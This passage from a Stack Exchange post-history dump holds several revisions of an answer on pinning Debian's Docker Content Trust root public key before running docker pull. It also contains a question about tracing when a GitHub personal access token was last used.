cce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}&#xD;&#xA;EOF&#xD;&#xA;&#xD;&#xA;export DOCKER_CONTENT_TRUST=1&#xD;&#xA;docker pull debian:stable-slim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Long Answer&#xD;&#xA;&#xD;&#xA;It doesn't appear to be documented anywhere, but per [this question][1] it's clear that docker puts its DCT metadata (including root public keys) in the following location:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$HOME/.docker/trust/tuf/docker.io/library&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Inside this `library` dir exists one dir per publisher. For the purposes of this answer, I'll use `debian` as our example publisher.&#xD;&#xA;&#xD;&#xA;You can see the list of the `debian` docker images published to Docker Hub here:&#xD;&#xA;&#xD;&#xA; * [https://hub.docker.com/_/debian/][2]&#xD;&#xA;&#xD;&#xA;Let's say we want to download the `sltable-slim` image from the `debian` publisher on Docker Hub. In this example, we'll also use a fresh install of Debian 10 as the docker host.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TODO&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;TODO&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/238916/how-to-pin-public-root-key-when-downloading-an-image-with-docker-pull-docker-co?noredirect=1&amp;lq=1&#xD;&#xA;  [2]: https://hub.docker.com/_/debian/" ContentLicense="CC BY-SA 4.0" />
  <row Id="44011" PostHistoryTypeId="5" PostId="13988" RevisionGUID="67f023a2-6e72-4b69-bf9d-d4424958284f" CreationDate="2021-05-25T14:54:29.177" UserId="22501" Comment="deleted 9 characters in body" Text="## tl;dr&#xD;&#xA;You can execute the following to pin the public root key for `debian`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo su -&#xD;&#xA;mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;chown -R root:root /root/.docker&#xD;&#xA;chmod -R 0700 /root/.docker&#xD;&#xA;echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9f&#xD;&#xA;fb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;&#xD;&#xA;export DOCKER_CONTENT_TRUST=1&#xD;&#xA;docker pull debian:stable-slim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Long Answer&#xD;&#xA;&#xD;&#xA;It doesn't appear to be documented anywhere, but per [this question][1] it's clear that docker puts its DCT metadata (including root public keys) in the following location:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$HOME/.docker/trust/tuf/docker.io/library&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Inside this `library` dir exists one dir per publisher. For the purposes of this answer, I'll use `debian` as our example publisher.&#xD;&#xA;&#xD;&#xA;You can see the list of the `debian` docker images published to Docker Hub here:&#xD;&#xA;&#xD;&#xA; * [https://hub.docker.com/_/debian/][2]&#xD;&#xA;&#xD;&#xA;### Solution&#xD;&#xA;&#xD;&#xA;Let's say we want to download the `stable-slim` image from the `debian` publisher on Docker Hub. In this example, we'll also use a fresh install of Debian 10 as the docker host.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##&#xD;&#xA;# first, install docker&#xD;&#xA;## &#xD;&#xA;root@disp2716:~# apt-get install docker.io&#xD;&#xA;...&#xD;&#xA;root@disp2716:~#&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# confirm that there is no docker config dir yet&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# ls -lah /root/.docker&#xD;&#xA;ls: cannot access '/root/.docker': No such file or directory&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# add the debian publisher's root DCT key&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;root@disp2716:~# chown -R root:root /root/.docker&#xD;&#xA;root@disp2716:~# chmod -R 0700 /root/.docker&#xD;&#xA;root@disp2716:~# echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# chown root:root /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# chmod 0600 /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# pull the docker image with DCT verification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# export DOCKER_CONTENT_TRUST=1&#xD;&#xA;root@disp2716:~# docker pull debian:stable-slim&#xD;&#xA;Pull (1 of 1): debian:stable-slim@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632: Pulling from library/debian&#xD;&#xA;6e640006d1cd: Pull complete &#xD;&#xA;Digest: sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Status: Downloaded newer image for debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632&#xD;&#xA;Tagging debian@sha256:850a7ee21c49c99b0e5e06df21f898a0e64335ae84eb37d6f71abc1bf28f5632 as debian:stable-slim&#xD;&#xA;root@disp2716:~# &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### Proof&#xD;&#xA;&#xD;&#xA;TODO&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/238916/how-to-pin-public-root-key-when-downloading-an-image-with-docker-pull-docker-co?noredirect=1&amp;lq=1&#xD;&#xA;  [2]: https://hub.docker.com/_/debian/" ContentLicense="CC BY-SA 4.0" />
  <row Id="44012" PostHistoryTypeId="2" PostId="13989" RevisionGUID="8b374521-3870-471a-a89a-e9fce2c28089" CreationDate="2021-05-25T14:56:30.273" UserId="27876" Text="A few days ago, I got an email from github saying that a personal access token that we used is in an 'outdated format':&#xD;&#xA;&#xD;&#xA;&gt; We noticed that an application, TeamCity(ci.support.example.com), owned by an organization you are an admin of, ExampleSolutions, used a token with an outdated format to access the GitHub API on May 19th, 2021 at 17:46 (UTC), with a user-agent header of TeamCity Server 20XX.X.X (build XXXXX).&#xD;&#xA;&#xD;&#xA;Looking at the github [Personal access tokens page](https://github.com/settings/tokens) for the user in question, it shows that the token was _'Last used within the last 2 weeks'_.&#xD;&#xA;&#xD;&#xA;I would like to find logs for the use of the personal access token at the same level of granularity in terms of timestamp and accessing server as are given in the email, so that I can match them against the logs in TeamCity and figure out which build config(s) used the token. &#xD;&#xA;&#xD;&#xA;I've exported the Security log for the owner of the personal access token, as well as the Audit log for the organization. Neither of these show anything relevant on the date and time in question. Are there any logs that I've missed?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44013" PostHistoryTypeId="1" PostId="13989" RevisionGUID="8b374521-3870-471a-a89a-e9fce2c28089" CreationDate="2021-05-25T14:56:30.273" UserId="27876" Text="How do I find out exactly when a Github personal access token was last used?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44014" PostHistoryTypeId="3" PostId="13989" RevisionGUID="8b374521-3870-471a-a89a-e9fce2c28089" CreationDate="2021-05-25T14:56:30.273" UserId="27876" Text="&lt;github&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44015" PostHistoryTypeId="5" PostId="13988" RevisionGUID="446733df-fa58-4888-a0bf-5f088f68f064" CreationDate="2021-05-25T15:13:56.700" UserId="22501" Comment="added 3621 characters in body" Text="## tl;dr&#xD;&#xA;You can execute the following to pin the public root key for `debian`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo su -&#xD;&#xA;mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;chown -R root:root /root/.docker&#xD;&#xA;chmod -R 0700 /root/.docker&#xD;&#xA;echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9f&#xD;&#xA;fb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;&#xD;&#xA;export DOCKER_CONTENT_TRUST=1&#xD;&#xA;docker pull debian:stable-slim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Long Answer&#xD;&#xA;&#xD;&#xA;It doesn't appear to be documented anywhere, but per [this question][1] it's clear that docker puts its DCT metadata (including root public keys) in the following location:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$HOME/.docker/trust/tuf/docker.io/library&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Inside this `library` dir exists one dir per publisher. For the purposes of this answer, I'll use `debian` as our example publisher.&#xD;&#xA;&#xD;&#xA;You can see the list of the `debian` docker images published to Docker Hub here:&#xD;&#xA;&#xD;&#xA; * [https://hub.docker.com/_/debian/][2]&#xD;&#xA;&#xD;&#xA;### Solution&#xD;&#xA;&#xD;&#xA;Let's say we want to download the `stable-slim` image from the `debian` publisher on Docker Hub. In this example, we'll also use a fresh install of Debian 10 as the docker host.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;##&#xD;&#xA;# first, install docker&#xD;&#xA;## &#xD;&#xA;root@disp2716:~# apt-get install docker.io&#xD;&#xA;...&#xD;&#xA;root@disp2716:~#&#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# confirm that there is no docker config dir yet&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# ls -lah /root/.docker&#xD;&#xA;ls: cannot access '/root/.docker': No such file or directory&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# add the debian publisher's root DCT key&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;root@disp2716:~# chown -R root:root /root/.docker&#xD;&#xA;root@disp2716:~# chmod -R 0700 /root/.docker&#xD;&#xA;root@disp2716:~# echo '{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;],&quot;threshold&quot;:1},&quot;timestamp&quot;:{&quot;keyids&quot;:[&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;],&quot;threshold&quot;:1}},&quot;version&quot;:1},&quot;signatures&quot;:[{&quot;keyid&quot;:&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;,&quot;method&quot;:&quot;ecdsa&quot;,&quot;sig&quot;:&quot;3WbX1VXN9E8LRmSG+E4SQlBUNqBNchhwAStWnRWLLyAOoFNBq5xmIgSO3UYYuKyJvL7kbMoONRbn5Vk2p2Wqrg==&quot;}]}' &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;root@disp2716:~# chown root:root /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# chmod 0600 /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json&#xD;&#xA;root@disp2716:~# &#xD;&#xA;&#xD;&#xA;##&#xD;&#xA;# pull the docker image with DCT verification&#xD;&#xA;##&#xD;&#xA;&#xD;&#xA;root@disp2716:~# export DOCKER_CONTENT_TRUST=1&#xD;&#xA;root@disp2716:~# docker pull debian:stable-slim&#xD;&#xA;Pull (1 of 1): 